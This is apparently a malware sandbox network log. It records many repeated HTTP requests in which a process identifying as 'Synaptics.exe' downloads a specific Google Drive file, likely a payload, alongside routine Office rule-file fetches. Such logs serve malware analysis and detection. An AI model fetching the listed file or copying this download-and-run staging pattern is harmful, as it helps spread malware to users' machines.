Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
